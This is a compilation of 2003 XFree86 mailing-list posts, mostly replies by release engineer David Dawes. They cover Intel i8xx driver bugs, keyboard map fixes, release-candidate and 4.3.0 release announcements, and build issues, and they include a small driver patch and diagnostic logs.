Re: [XFree86] i845G - Text mode restoration problems
On Sun, Jan 19, 2003 at 03:57:23AM +0200, Alex Suykov wrote: Hello all, I have an i845G running XFree86-4.2.99.3 and faced the following problem. My linux console is put in 132x30 mode in the following way: 'vga=291' bootparam (132x60) and then 'setfont UniCyr_8x16' from one of /etc/init.d/ scripts. When I run X and then switch back to console - either by exiting or by Ctrl+Alt+Fn - I got the same 8x16 font within 8x8 cells (only upper half of each glyph is visible). Upper 30 lines of the screen contain original VC contents, while lower lines shows contents of other VC and do not change when I switch VC. Original state can be restored (loosing contents on all VC's) by sequence 'setfont UniCyr_8x8; setfont UniCyr_8x16'; simple 'setfont UniCyr_8x16' changes nothing while 'setfont UniCyr_8x8' works as expected - puts console in 132x60 mode with 8x8 font. There is no such problem if X is started from 132x60 mode with 8x8 font (vga=291 / setfont UniCyr_8x8) and from 80x25 with 8x16 font (no 'vga' bootparam / setfont UniCyr_8x16). There is no such problem with S3 ViRGE. The problem was in all X versions which I installed and which worked with i845G (before 4.2.99.3 I tried some CVS snapshots from mid-october to mid-november) Does anyone know how to fix this? Or where should I look for the roots of this problem (does last (WW)'s in the log touch the problem or they can be ignored)? Those lines can be ignored. The driver normally uses VBE calls to save/restore the initial state. There's a bug in that save/restore mechanism with many 845G BIOSes, so to work around this, it just saves the original mode number, and calls the BIOS to re-program that mode at exit/VT switch. This is setting it to the initial 132x60 state, not the state after your setfont call. If you can to identify what parameters setfont is changing, it would be possible to modify the driver to save/restore them. I haven't looked into what mechanism setfont uses to change the character size. David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Anonymous CVS down?
On Tue, Jan 21, 2003 at 04:50:50PM +0200, Meelis Roos wrote: Since yesterday, cvs update -dP didn't work any more on xc module. CVS/Root contains :pserver:[EMAIL PROTECTED]:/cvs The result is Fatal error, aborting. : no such user There was a problem after updating cvs yesterday. It should be fixed now. David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] how do I set that red cursor back to something more normal?
On Tue, Jan 21, 2003 at 06:31:19PM -0600, Greg Julius wrote: Hello, How do I set that red cursor back to something more normal? I know I've seen that bit of info cross this list, but in searching the archives I didn't come up with it. When I tried red cursor the search engine ignored the quotes and gave me everything with red in it (think redhat) and cursor in it. That was a lot of hits. Is there some other way to specify the search criteria? I put the following early in my .xsession/.xinitrc file: XCURSOR_CORE=yes export XCURSOR_CORE I think it can be done with a resource too, but I don't remember the details. Is there any consensus on whether the new (red) cursor theme should be the default in 4.3, or the traditional cursor shapes? David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [I18n] Re: [XFree86] [XFree86(TM) Bug Report] tilde registered as a dead key in swedish nodeadkeys keymap
On Tue, Jan 21, 2003 at 09:26:13PM +0100, Henrik Nordstrom wrote: Further comment on aring: Having asciidiaresis and degree on aring is perhaps redundant as these already exists as diaresis and altgr+shift+0. But I admit that having a nodeadkeys keymap with really no dead keys is perhaps most intuitive. But at the same time sometimes (but not very often) there is needs to type a character in another latin language such as German so I am not sure.. How have things been historically when running with nodeadkeys? nodeadkeys means exactly that. If people need something in between, they should either have their own customised map, or come up with a consistent naming scheme for other variants, or use the multi-layout feature (I'm not sure if standard and nodeadkeys versions can be used as two layouts in a multilayout config). Apart from really beeing a nodeadkeys keymap I have found no flaws in your patch except for possibly key AB10 which still has dead_belowdot on AltGR (Not that I have a clue what a non-dead dead_belowdot would be...) There's no belowdot keysym that I could find, so I didn't change that one. Maybe there's a unicode key U keysym that would be appropriate. David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
[XFree86] XFree86 4.2.99.901 (4.3.0 RC1) tagged
XFree86 snapshot 4.2.99.901 (aka 4.3.0 RC1) has been tagged. This is the first release candidate for 4.3.0. The change log, which summarises what has changed since the previous snapshot, can be viewed at http://www.xfree86.org/cvs/changes.html. The source can be obtained from the XFree86 CVS repository (see http://www.xfree86.org/cvs/ for details). Binaries for a few platforms will be made available over the next day or two. They'll be at ftp://ftp.xfree86.org/pub/XFree86/snapshots/4.2.99.901/binaries/. Online documentation will be available at http://www.xfree86.org/4.2.99.901/. Testing this snapshot is strongly encouraged for those comfortable installing pre-release software. If you have problems building/installing, please report them here. If you find other bugs, please reports them to [EMAIL PROTECTED], Bugfixes and documentation updates should be sent to [EMAIL PROTECTED] The current 4.3 deadlines are: Last submission date for non-critical fixes8 February 2003 Last submission date for documentation(*) 17 February 2003 Last submission date for release notes21 February 2003 David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] [BUG] The /*-+ keys on the numeric keypad won't repeat in current CVS
On Mon, Feb 03, 2003 at 12:02:47PM -0500, Mike A. Harris wrote: /*-+ on the numeric keypad won't repeat in current CVS. Other keys on the keypad do repeat, including numbers when numlock is turned on. /*-+ on the normal part of the keyboard do repeat. Tried xset r on with no change. 'xset r keycode' works. I don't know why these keys don't repeat (and don't remember if they did before). David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] i810 driver agpgart error
On Fri, Feb 07, 2003 at 05:33:09PM -0800, Michael Cardenas wrote: Hello all. I'm implementing a resolution test in our display control panel, which basically starts a second X server on another terminal with the desired resolution. This seems to work with some cards, but on the intel i810, I get the following error: What hardare are you using? I just checked and noticed that the agpgart isn't being released when switching away for the 830M and later. Adding that allows a second X server to be started. If DRI is enabled, I notice some contention there when starting the second server, so that's something else to watch out for. If you're using an 830M or later, try this patch. The code for the 810/815 already has this. Index: i830_memory.c === RCS file: /home/x-cvs/xc/programs/Xserver/hw/xfree86/drivers/i810/i830_memory.c,v retrieving revision 1.5 diff -u -r1.5 i830_memory.c --- i830_memory.c 2002/12/10 01:27:05 1.5 +++ i830_memory.c 2003/02/08 02:13:15 @@ -1429,6 +1429,9 @@ return FALSE; } #endif + if (!xf86ReleaseGART(pScrn-scrnIndex)) +return FALSE; + pI830-GttBound = 0; } David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Compiled keymaps in 4.2.99.901 Linux-ix86-glibc22 binary snapshot - SIGSEGV
On Sun, Feb 09, 2003 at 12:04:38PM +1100, Paul Whittaker wrote:
I am getting a segmentation fault in /usr/X11R6/bin/XFree86 (4.2.99.901
Linux-ix86-glibc22 binary snapshot) when using -xkbmap default in
conjunction with a /usr/X11R6/lib/X11/xkb/compiled/default.xkm file
prepared using xkbcomp -xkm :0 against a 4.2.99.901 display using the
following keyboard InputDevice options:
Option XkbRules xfree86
Option XkbModel pc105
Option XkbLayout us
Host O/S is a custom Linux distribution (DIET-PC[.sourceforge.net])
based on Linux 2.4.20. Host hardware are Pentium-I series units with
onboard S3 Trio64 and Trio64-V2 chipsets. Problem occurs using s3
(Trio64) and vesa (both) drivers (BTW, any chance of Trio64-V2 support
in s3 driver any time soon?). The problem does not occur in XFree86
4.2.1. The problem does not occur if -xkbmap default is omitted.
I've found the reason for the segfault, but with that fixed I get:
Cannot open keymap/default for reading
Error opening keymap file default, reverting to defaults
(I'll commit the segfault fix soon.)
David
--
David Dawes
Release Engineer/Architect The XFree86 Project
www.XFree86.org/~dawes
The full command line is:
/usr/X11R6/bin/XFree86 -quiet -xkbmap default -auth /.Xauthority -fp
/usr/X11R6/lib/X11/fonts/misc:unscaled,/usr/X11R6/lib/X11/fonts/75dpi:unscaled,tcp/fontserver:7100
-query xdmserver dpms vt2 :0
/var/log/XFree86.0.log is attached. The last few system calls before
the SIGSEGV in strace output are:
open(/usr/X11R6/lib/X11/xkb/compiled/default.xkm, O_RDONLY) = 7
fstat64(7, {st_mode=S_IFREG|0644, st_size=8304, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
-1, 0) = 0
x40015000
read(7, \17mkx\26\10\377\7\177\0\0\0\6\0\1\0D\0D\0\4\0\1\0\0\5...,
4096) = 409
6
_llseek(7, 0, [0], SEEK_SET)= 0
read(7, \17mkx\26\10\377\7\177\0\0\0\6\0\1\0D\0D\0\4\0\1\0\0\5...,
4096) = 409
6
_llseek(7, 4096, [4096], SEEK_SET) = 0
_llseek(7, 4096, [4096], SEEK_SET) = 0
_llseek(7, 4096, [4096], SEEK_SET) = 0
_llseek(7, 4096, [4096], SEEK_SET) = 0
read(7, \2\1\0\21\10\0CTRL+ALT\0\0\252\377\0\0\0\0\0\0\0\0\0\0...,
4096) = 409
6
_llseek(7, 8192, [8192], SEEK_SET) = 0
_llseek(7, 8192, [8192], SEEK_SET) = 0
read(7, Label\0\0\0\3\6\2\270\20\0\0\214\1d\0\0\0\0\0\v\0Scro...,
4096) = 112
close(7)= 0
munmap(0x40015000, 4096)= 0
ioctl(5, 0x4b32, 0) = 0
--- SIGSEGV (Segmentation fault) ---
This is a pre-release version of XFree86, and is not supported in any
way. Bugs may be reported to [EMAIL PROTECTED] and patches submitted
to [EMAIL PROTECTED] Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs).
XFree86 Version 4.2.99.901 (4.3.0 RC 1)
Release Date: 4 February 2003
X Protocol Version 11, Revision 0, Release 6.6
Build Operating System: Linux 2.4.7-10custom i686 [ELF]
Build Date: 05 February 2003
Before reporting problems, check http://www.XFree86.Org/
to make sure that you have the latest version.
Module Loader present
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) Log file: /var/log/XFree86.0.log, Time: Sun Feb 9 12:00:52 2003
(==) Using config file: /etc/X11/XF86Config-4
(==) ServerLayout DIET-PC X11 Server
(**) |--Screen Screen (0)
(**) | |--Monitor Monitor
(**) | |--Device Video Card
(**) |--Input Device Mouse
(**) |--Input Device Keyboard
(**) Option Protocol Standard
(**) Option AutoRepeat 250 30
(==) Keyboard: CustomKeycode disabled
(++) FontPath set to
/usr/X11R6/lib/X11/fonts/misc:unscaled,/usr/X11R6/lib/X11/fonts/75dpi:unscaled,tcp/fontserver:7100
(**) RgbPath set to /usr/X11R6/lib/X11/rgb
(==) ModulePath set to /usr/X11R6/lib/modules
(**) Option AllowNonLocalXvidtune on
(**) Option BlankTime 5
(**) Option StandbyTime 10
(**) Option SuspendTime 20
(**) Option OffTime 40
(++) using VT number 2
(II) Open APM successful
(II) Module ABI versions:
XFree86 ANSI C Emulation: 0.2
XFree86 Video Driver: 0.6
XFree86 XInput driver : 0.4
XFree86 Server Extension : 0.2
XFree86 Font Renderer : 0.4
(II) Loader running on linux
(II) LoadModule: bitmap
(II) Loading /usr/X11R6/lib/modules/fonts/libbitmap.a
(II) Module bitmap: vendor=The XFree86 Project
compiled for 4.2.99.901, module version = 1.0.0
Module class: XFree86 Font Renderer
ABI class: XFree86 Font Renderer, version 0.4
(II) Loading font Bitmap
(II) LoadModule: pcidata
(II) Loading /usr/X11R6/lib/modules/libpcidata.a
(II) Module pcidata: vendor=The XFree86 Project
compiled for 4.2.99.901, module version = 1.0.0
ABI class: XFree86 Video Driver, version 0.6
(II) PCI
Re: [XFree86] i810 driver agpgart error
On Tue, Feb 11, 2003 at 08:35:14PM +0100, Egbert Eich wrote:
Content-Description: message body text
Michael Cardenas writes:
Unfortunately, I edited i810_memory.c and changed
if (xf86AgpGARTSupported() !pI810-directRenderingEnabled
pI810-GttBound) {
to
if (xf86AgpGARTSupported() pI810-GttBound) {
and it still produces the same error when I launch a second X server.
(WW) xf86AcquireGART: AGPIOC_ACQUIRE failed (Device or resource busy)
(EE) GARTInit: AGPIOC_INFO failed (Invalid argument)
(EE) I810(0): AGP GART support is not available. Make sure your kernel has
agpgart support or that the agpgart kernel module is loaded.
Any suggestions on how to proceed?
This is not so easy to fix.
Only when used *without* DRI I810UnbindGARTMemory()
unbinds the GART memory. In this case unbinding
works well, starting a second server is no problem.
With DRI unbinding has to be done thru a different
interface. In this case the drm functions drmAgpUnbind(),
drmAgpRelease(), drmAcquire() and drmBind() need to take
care of unbinding/releaseing and reacquiring/rebinding
the AGP memory.
Hmm, yes, the i810 driver uses those interfaces (and doesn't have any
explicit drmAgpUnbind() calls), but the i830 part doesn't. Another
alternative might be to have the i810 part work like the i830 part.
The current driver contains no code doing this.
The patch in attachment 1 fixes this. There is one
bug in the agpgart module and another one in agp_unbind()
in the drm kernel driver which prevent a VT switch when
direct rendering is enabled. Attachment 2 has patches.
One last problem remains:
These patches don't help starting a second Xserver:
This second Xserver hangs in the lock created by the first
one.
The release() in the drm kernel driver tries to obtain a
lock, when __HAVE_RELEASE is set. This lock is however held
by the first Xsever.
Only the i810 and i830 drivers have __HAVE_RELEASE set
therefore other Xservers aren't affected.
That's probably the contention problem I saw with DRI enabled.
I'd be good to get all of this resolved, but it's looking like the level
of changes that might be needed to do it fully are getting beyone what
we should be putting in before 4.3.
David
--
David Dawes
Release Engineer/Architect The XFree86 Project
www.XFree86.org/~dawes
___
XFree86 mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] [XFree86(TM) Bug Report] bad keyboard types in logicdn and es
On Mon, Feb 17, 2003 at 11:47:39AM -0800, Pedro D. wrote:
Regarding: bad keyboard types in logicdn and es
Email: [EMAIL PROTECTED]
XFree86 Version: 4.2.99.4
OS: linux (Madrake 9 Gentoo 1.4)
Area: xkb
Server: not server related
Description:
(**) |--Input Device Keyboard1
(**) Option XkbRules xfree86
(**) XKB: rules: xfree86
(**) Option XkbModel logicdn
(**) XKB: model: logicdn
(**) Option XkbLayout es
(**) XKB: layout: es
(==) Keyboard: CustomKeycode disabled
(**) |--Input Device Mouse1
(**) FontPath set to unix/:-1
(==) RgbPath set to /usr/X11R6/lib/X11/rgb
(==) ModulePath set to /usr/X11R6/lib/modules
(**) Option AllowMouseOpenFail
(++) using VT number 7
...
(II) Initializing built-in extension MIT-SHM
(II) Initializing built-in extension XInputExtension
(II) Initializing built-in extension XTEST
(II) Initializing built-in extension XKEYBOARD
(II) Initializing built-in extension LBX
(II) Initializing built-in extension XC-APPGROUP
(II) Initializing built-in extension SECURITY
(II) Initializing built-in extension XINERAMA
(II) Initializing built-in extension XFree86-Bigfont
(II) Initializing built-in extension RENDER
(II) Initializing built-in extension RANDR
(II) [GLX]: Initializing GLX extension
(II) Keyboard Keyboard1 handled by legacy driver
I have 2 bugs. The first is related to the driver logicdn. In the file
xkb/symbols/Inet, in the part of logicdn puts:
key FK14 { [ XF86Send ] }; // F4
key FK15 { [ XF86Undo ] }; // F5
key FK15 { [ XF86Redo ] }; // F6
key FK16 { [ XF86Print ] }; // F7
and should put:
key FK14 { [ XF86Send ] }; // F4
key FK15 { [ XF86Undo ] }; // F5
key FK16 { [ XF86Redo ] }; // F6
key FK17 { [ XF86Print ] }; // F7
but that bug is a minor problem (but it's ok to fix).
Thanks, I'll fix that.
The other bug, at least with my configuration (logitech cordless desktop navigator,
Spanish keyboard), i can't put or (the same phisical key) that correspond to
LSGT keycode. Futhermore, when i execute xev, and press that key, the program puts:
KeyPress event, serial 26, synthetic NO, window 0x381,
root 0x8d, subw 0x0, time 5002964, (165,-14), root:(175,66),
state 0x10, keycode 94 (keysym 0x0, NoSymbol), same_screen YES,
XLookupString gives 0 bytes:
(that keycode is good for xkbrules=xfree86)
i don't know how to fix this one.
I'm not sure if the best solution is to add the LSGT definition to
the pc/es map (and all others where the default keyboard has this key),
or change rules/xfree86 so that all of the inetkbds definitions are
based on pc105 instead of pc104 (the LSGT key is the only difference
between the two).
David
--
David Dawes
Release Engineer/Architect The XFree86 Project
www.XFree86.org/~dawes
___
XFree86 mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/xfree86
[XFree86] XFree86 4.2.99.902 (4.3.0 RC2) tagged
XFree86 snapshot 4.2.99.902 (aka 4.3.0 RC2) has been tagged. This is the second release candidate for 4.3.0. The change log, which summarises what has changed since the previous snapshot, can be viewed at http://www.xfree86.org/cvs/changes.html. The source can be obtained from the XFree86 CVS repository (see http://www.xfree86.org/cvs/ for details). Binaries for a few platforms will be made available over the next day or two. They'll be at ftp://ftp.xfree86.org/pub/XFree86/snapshots/4.2.99.902/binaries/. Online documentation will soon be available at http://www.xfree86.org/4.2.99.902/. Please reports bugs here, and send bugfixes and documentation updates to [EMAIL PROTECTED] The updated 4.3 release schedule is: Code freeze (critical fixes and doc updates only)21 Feb 2003 Last submission date for doc updates 25 Feb 2003 4.3.0 tagged for release 27 Feb 2003 This schedule will stand providing no critical problems are found in the meantime. If you are aware of any serious bugs that are still present in this snapshot, please post details here. Taking some time to review and update the documentation is strongly encouraged. If you have something to add to the release notes (it should contain a summary of new features and known problems), please send it in. David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] 4.3.0 RC2 - Any key causes a resolution change
On Fri, Feb 21, 2003 at 01:53:45PM -0800, Mark McCallister wrote: XFree86 Version 4.2.99.902 (4.3.0 RC 2) (Red Hat Linux release: 4.2.99.902-20030218.3) OS: Red Hat Linux release 8.0.94 (Phoebe) Video Card: ATI Technologies Inc Rage 128 RF/SG AGP 32M After the X server is started, any key stroke results in a change in resolution. There is no stdout/stderr during the resolution changes, but there are some xkbcomp errors during startup. Mouse movements/clicks do not cause any problems. I've also tested this with RC1 and an earlier build of RC2 by mharris. Make sure you have all the latest xkb config files installed. I saw this behaviour once when I used set that wasn't fully consistent. David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] 4.3.0 RC2 - Any key causes a resolution change
On Fri, Feb 21, 2003 at 02:47:35PM -0800, Mark McCallister wrote: I have an identical package working on a machine with different hardware (ATI AIW Radeon 8500DV) Is there any configuration outside of /etc/X11/xkb and /usr/X11R6/lib/X11/xkb? That should be all of it. I'm using mharris's 4.2.99.902-20030218.3 rpm packages, so I'm assuming his configuration is complete. I don't know. Maybe the xkbcomp error message you said you get will give some hints about this. David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes -Mark On Fri, 21 Feb 2003, David Dawes [EMAIL PROTECTED] wrote: On Fri, Feb 21, 2003 at 01:53:45PM -0800, Mark McCallister wrote: XFree86 Version 4.2.99.902 (4.3.0 RC 2) (Red Hat Linux release: 4.2.99.902-20030218.3) OS: Red Hat Linux release 8.0.94 (Phoebe) Video Card: ATI Technologies Inc Rage 128 RF/SG AGP 32M After the X server is started, any key stroke results in a change in resolution. There is no stdout/stderr during the resolution changes, but there are some xkbcomp errors during startup. Mouse movements/clicks do not cause any problems. I've also tested this with RC1 and an earlier build of RC2 by mharris. Make sure you have all the latest xkb config files installed. I saw this behaviour once when I used set that wasn't fully consistent. David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86 ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] where is /usr/bin/cc being set?
On Sat, Feb 22, 2003 at 07:30:06PM -0500, Fred Heitkamp wrote: I get the message sh: line 1: /usr/bin/cc: No such file or directory when I run make World. Where in the xfree tree is this /usr/bin/cc being set? I searched and grepped around the source tree but I can't seem to find where it is. Thanks! Note I know I could just make a symbolic link to get rid of the error, but that's not my question. The top level Makefile refers to $(CC), and I guess your version of make defines it to /usr/bin/cc. An alternative to creating the symlink is to run 'make CC=your-cc-command World', or find out how to change make's default (if possible). David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Death of the XFree86 project?
On Sun, Feb 23, 2003 at 05:50:30AM -0800, Gaston Krasnik wrote: When will the official death of the XFree86 project be announced? It seems that XFree86 releases are decades apart. I remembered it once said on the site that XFree86 4.3.0 was to be released in May 2002. Much later on it was announced it would be presented in January 2003. If it's going like this I am looking forward to my great great grandchildren using XFree86 5.0. We'll all be dead by the time XFree reaches the 5th version. Maybe our great grandchildren will be able to get releases out more quickly. I hope I live to see the day :-) David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] where is /usr/bin/cc being set?
On Sun, Feb 23, 2003 at 08:58:32PM -0500, Fred Heitkamp wrote: Note I know I could just make a symbolic link to get rid of the error, but that's not my question. The top level Makefile refers to $(CC), and I guess your version of make defines it to /usr/bin/cc. An alternative to creating the symlink is to run 'make CC=your-cc-command World', or find out how to change make's default (if possible). I tried setting CC and BOOTSTRAPCFLAGS and neither gets rid of the problem completely. I also have a problem with /usr/bin/cpp being hard coded in various places. Have you been able to isolate where the references to /usr/bin/cc are coming from then if it isn't from $(CC)? I complain about this because I often use different compiler versions. I would rather just set the PATH to point to the directiry of the compiler in use for cpp, gcc, etc. Traditionally cpp hasn't alwasy been in $PATH (e.g., /lib/cpp). I ran into a problem with a RH 5.2 test build where /lib/cpp exists, but not /usr/bin/cpp (and linux.cf now refers to the latter). I see in the imake.c and imakemdep.h that /usr/bin/cpp is being hard-coded into the executables. Also many of the Makefiles, presumably they are being constructed via imake, contain this hard-coded path. Maybe someone better informed than me can comment on this. imakemdep.h hard-codes it for some platforms. For platforms where a suitable cpp can reasonably be exptected to be available in $PATH, the full path doesn't have to be specified there. A lot of platforms use 'cc -E'. David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Backward-incompatible Shift-F* changes
On Mon, Feb 24, 2003 at 11:06:59AM +0100, Enrico Scholz wrote: Hello, the recent XFree86 CVS version adds XF86_Switch_VT_* keyboard-bindings to Shift-F*: | $ xmodmap -pke | ... | keycode 67 = F1 XF86_Switch_VT_1 XKB maps XF86_Switch_VT_1 to Ctrl Alt F1, not Shift F1, although xmodmap can't show this distinction. This breaks e.g. XEmacs which fails to interpret Shift-F* now: | $ xemacs | ... | C-h k Sh-f1 | f1 is undefined When executing xmodmap -e 'keycode 67 = F1' or running a previous XFree86, the message would be 'Sh-f1 is undefined'. I don't know how xemacs is handling this. I'm cc'ing this to the devel list in case someone here has any suggestions. I am using the a Red Hat Rawhide XFree86 version, labeled XFree86-4.2.99.902-20030218.0, and reported it to https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=84907 as well. Enrico -- q: If you were young again, would you start writing TeX again or would you use Microsoft Word, or another word processor? a: I hope to die before I have to use Microsoft Word. -- Harald Koenig [EMAIL PROTECTED] asking D.E.Knuth ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86 David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Keyboard not working with latest CVS
On Wed, Feb 26, 2003 at 03:23:43PM +0100, Iñaki García Etxebarria wrote:
Hi again,
I just upgraded to CVS and my keyboard stopped working.
I dug a little deeper, now I have the keyboard (mostly) working.
I didn't realize at first, but the Xserver was printing to the console
this (*), which I include at the end of the email. I edited
lib/X11/xkb/compat/xfree86 and lib/X11/xkb/symbols/pc/pc appropiately
and the error messages are gone now. There's still a bug somewhere
though.
Those problems are caused by your installation not being complete.
The defintions for the unrecognised keysyms are in lib/X11/XKeysymDB,
so you need to update that file.
The only problem remaining is that the Alt Gr characters in the
spanish keyboard don't work. For those who don't know, there are some
keys with three characters on them (2 @ for example), and the third
character is usually accessed by pressing a key labelled 'Alt Gr' and
hitting the key. But doing that gives:
The mapping you should be seeing is this:
key AE02 { [ 2, quotedbl, at,oneeighth ] };
(from pc/latin(type4), included from pc/es).
David
--
David Dawes
Release Engineer/Architect The XFree86 Project
www.XFree86.org/~dawes
___
XFree86 mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/xfree86
[XFree86] XFree86 4.3.0 release tagged
I've tagged the XFree86 4.3.0 release. The tag is xf-4_3_0, and the branch tag associated with this release is xf-4_3-branch. This should all be visible from the anoncvs repository soon. This marks the closing of the 4.3.0 release, and I'd like to thank all who have contributed to it. We've had a lot of great testing and bug reporting feedback over the last few weeks. Online documentation will be available soon at http://www.xfree86.org/4.3.0/. Check the README, Release Notes and Installation Notes there before downloading. Source tarballs and patches will be available over the next day or so from our ftp site ftp://ftp.xfree86.org/pub/XFree86/4.3.0/. Some binary distributions will be available over the next week or so. David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
[XFree86] XFree86 bugzilla available
An XFree86 bugzilla is now available at http://bugs.xfree86.org/. Many thanks to Hewlett-Packard for supplying the hardware, netSweng for hosting, and the many developers who helped configure and test it. Enjoy. David -- David Dawes Release Engineer/President The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] X4.3/FreeBSD distribution aout libs
On Fri, Mar 21, 2003 at 12:32:48PM -0800, Ken Marx wrote: Hi, I previously (somewhat confusedly - sorry) posted about this as X4.3/netscape/freebsd4.7. I installed XF86-4.3 from FreeBSD-4.x binary distribution I got from the xfree86.org ftp site. It seems that the XFree86-4.3 aout libraries in Xbin.tgz are new versions that can cause legacy aout binaries (netscape 4.5, 4.72, in my case) to segv. Eric Anholt has graciously confirmed that the FreeBSD port doesn't build/contain new versions of the aout libs. I think this might be recommended for the binary distribution as well: Either just include the old ones, or instruct installers to leave/copy the old ones in the new 4.3 dirs. New ones are built so that applications that still use the old a.out libraries get the benefit of any security and bug fixes. That is, unless there's some reason to expect old binaries to use new features, or reason to expect new aout binaries to be written. FreeBSD folks I spoke with about this seemed to think there wasn't. Perhaps mine is an isolated case - I haven't found other reports of new libs crashing old aout binaries. Maybe nobody uses Netscape anymore... Anyway - I got netscape to work simply by moving these new aout versions aside: libX11.so.6.2 libXext.so.6.4 libXmu.so.6.2 The new ones should be backward compatible (no removed interfaces and no changed interfaces). The best solution would be to locate the cause of the problem, see if it's compatibility breakage, and if so, see if it can be fixed without causing more serious compatibility problems. FWIW, the a.out libraries supplied with the XFree86 4.3 FreeBSD bindists were built on a clean FreeBSD 2.2.8 installation. I think that was one of the last a.out releases? David -- David Dawes Release Engineer/Architect The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] cvs build -- libfreetype.so: undefined reference to `FT_Stream_OpenGzip'
On Wed, May 28, 2003 at 11:34:50PM -0700, Miles Lane wrote: make[4]: Entering directory `/home/usr/src/xc/lib/fontconfig/fc-cache' rm -f fc-cache gcc -o fc-cache -O2 -fno-strict-aliasing -fsigned-char -L../../../exports/lib fc-cache.o -lfontconfig -lfreetype -lexpat -Wl,-rpath-link,../../../exports/lib ../../../exports/lib/libfreetype.so: undefined reference to `FT_Stream_OpenGzip' collect2: ld returned 1 exit status make[4]: *** [fc-cache] Error 1 I've committed a fix for this. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Please update fontconfig to 2.2. cvs currently contains 1.0.1!
On Thu, May 29, 2003 at 07:34:28AM -0700, Miles Lane wrote: http://fontconfig.org/release/fontconfig-2.2.0.tar.gz It currently has 1.0.2. Go to bugs.xfree86.org and log this request there if you haven't already done so. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Please update fontconfig to 2.2. cvs currently contains 1.0.1!
On Thu, May 29, 2003 at 10:12:10AM -0700, Miles T Lane wrote: --- David Dawes [EMAIL PROTECTED] wrote: On Thu, May 29, 2003 at 07:34:28AM -0700, Miles Lane wrote: http://fontconfig.org/release/fontconfig-2.2.0.tar.gz It currently has 1.0.2. Interesting. In xc/lib/fontconfig, grep -i ver version.h gave me 1.0.1. xc/lib/fontconfig/fontconfig/fontconfig.h shows: /* * Current Fontconfig version number */ #define FC_MAJOR1 #define FC_MINOR0 #define FC_REVISION 2 It looks like the version string elsewhere wasn't updated. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Please update fontconfig to 2.2. cvs currently contains 1.0.1!
